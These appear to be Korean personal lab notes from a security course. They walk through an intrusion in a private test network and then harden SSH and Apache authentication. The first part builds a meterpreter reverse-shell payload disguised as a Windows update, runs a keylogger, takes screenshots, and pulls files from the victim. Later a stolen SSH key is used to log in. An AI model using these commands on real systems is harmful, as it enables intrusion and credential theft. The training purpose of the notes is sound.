#20250121

침투 흔적 탐지.

> msfconsole -r /home/kali/malware.rc

192.168.56.101로 접속 시 kali/public_html로 경로 수정하기
> nano /etc/apache2/sites-available/000-default.conf
/var/www/html -> /home/kali/public_html 수정
> nano /etc/apache2/apache2.conf

<Directory />
   Require all denied -> Require all granted로 수정
</Directory>
> systemctl restart apache2

> msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -b "\x00" -f exe > /home/kali/windows_update_20250121.exe

관리자에서 악성코트 클릭 후 meterpreter로 연결.
> keyscan_start

관리자에서 web2 로그인 하고 칼리에서 확인해보면

> keyscan_dump


처럼 기록이 남는다.

> screenshot

관리자 PC의 Z:/share 폴더에 있는 파일들 가져오기
> cd Z:/
> download ./ /home/kali/downloads





비밀번호가 유출되어 비밀번호를 변경하려고 하지만, keylog가 돌아가기 때문에 의미가 없다.
그러니 여러 방법 중 패스워드 인증 방식을 변경해보자.

키 인증 방식으로 변경
대칭키 암호 / 공개키 암호

우선 로컬 컴퓨터에서 192.168.0.92로 접속해보기.


위와 같이 사용자 인증 방법이 Public Key로 되어있다.

적용 연습
virtualbox에서 예전에 사용했전 'web' 서버를 NAT로 놓고 띄우기.

패스워드 인증 방식 -> 키방식으로 변경하기.
> nano /etc/ssh/sshd_config.d/50-cloud-init.conf
PasswordAuthentication yes -> no로 변경

> systemctl restart ssh

새 창에서 접속해보면 키 인증 방식으로 변경 된 것 확인 가능하다.


키 생성
> cd /home/master/.ssh
> ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/master/.ssh/id_ed25519) : (enter)
Enter passphrase (empty for no passphrase) : 123456
Enter same passphrase again : 123456

내용 옮기기
.ssh > cat id_ed25519.pub >> authorized_keys

로컬 컴퓨터로 빼기
> sz id_ed25519 > D:/2025_산대특

새창에서 접속 > 찾아보기 > 파일 > 빼놓은 파일 선택 > 123456 > 접속 완료




메인서버에 적용
일단
> nano /etc/ssh/sshd_config.d/50-cloud-init.conf
파일 수정 후 restart 하고 나서 접속 시도를 하면 아래와 같이 뜬다.


알드라이브를 이용하여 id_ed25519 파일을 Win7으로 빼기.


puttygen 실행
상단 메뉴의 conversions > import key > id_ed25519 선택 > save private key > 위치, 이름 지정



putty > connection > data > Auto-login username > master


SSH > Auth > Credentials > private key file for authentication > 아까 내보낸 private key 선택


Session으로 돌아가서 접속.


칼리에서 접속
인증키 훔쳐오기.
가져온 인증키를 이용하여 접속
> ssh master@192.168.56.102 -i id_ed25519



인증 창 설정.

> cd /etc/apache2/sites-available
> nano auth-basic.conf


> systemctl restart apache2

> cd /var/www/html
> mkdir auth-basic
> cd auth-basic
> touch index.html

> htpasswd -Bc /etc/apache2/.htpasswd master
123456

> a2ensite auth-basic

웹 > st.kr/auth-basic



인증창이 뜬다.

인증창에 입력한 값은 base64로 인코딩되어 넘어간다.
해커가 값만 얻으면 쉽게 인코딩하여 아이디와 패스워드를 알아낼 수 있다.